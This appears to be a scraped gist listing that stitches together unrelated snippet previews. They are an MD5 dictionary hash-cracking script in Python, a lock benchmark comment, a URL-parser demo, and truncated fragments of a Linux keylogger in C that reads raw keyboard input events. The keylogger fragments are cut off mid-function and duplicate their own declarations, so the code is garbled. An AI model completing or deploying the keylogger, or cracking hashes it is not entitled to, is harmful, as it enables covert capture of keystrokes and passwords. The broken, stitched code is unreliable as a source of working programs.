Skip to content

Instantly share code, notes, and snippets.

# md5 brute force in 3 lines of python.
# ./this <digest> <wordfile>
import sys, hashlib
for line in file(sys.argv[2]):
if hashlib.md5(line.rstrip()).hexdigest() == sys.argv[1]: print line,
__ __
\ \ ___ / /
\ \ / _ \ / /
\ \ (_) / /
\_\___/_/
/* CAS lock comparison to mutex */
/*
mthomas@atticus:~$ gcc -O3 -m64 -march=core2 -mfpmath=sse -msse4 cas_queue.c -o cas_queue -lpthread
mthomas@atticus:~$ ./cas_queue
cas locks 4.77 seconds
mutex locks 38.05 seconds
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
mthomas@atticus:~$ ./u "http://fdsfdsu:sfsdfds@www.ackers.net:8080/fda"
Scheme = http
Host = www.ackers.net
Port = 8080
User = fdsfdsu
Pass = sfsdfds
*/
#include <stdio.h>
#include <stdint.h>
void
process_keystroke(int fd, short which, keyboard_t *kb)
{
struct input_event input_event;
ssize_t bytes_read;
char key;
bytes_read = read(fd, &input_event, sizeof(struct input_event));
if (bytes_read != sizeof(struct input_event)) {
struct input_event input_event;
ssize_t bytes_read;
char key;
bytes_read = read(fd, &input_event, sizeof(struct input_event));
if (input_event.type != EV_KEY) {
return;
}
switch (input_event.code) {
case KEY_RIGHTSHIFT:
case KEY_LEFTSHIFT:
kb->shift_mod = input_event.value;
return;
case KEY_RIGHTCTRL:
case KEY_LEFTCTRL:
/* I don't really care about ctrl chars */
return;
case KEY_CAPSLOCK:
unsigned char
is_keyboard(const char *file)
{
int fd;
uint8_t bitmask;
fd = open(file, O_RDONLY);
if (fd < 0) {
return(0);
const char **
keylogger_find_keyboards(void)
{
const char **keyboards;
DIR *dip = NULL;
struct dirent *dit = NULL;
int i = 0;
dip = opendir(keyboard_dir);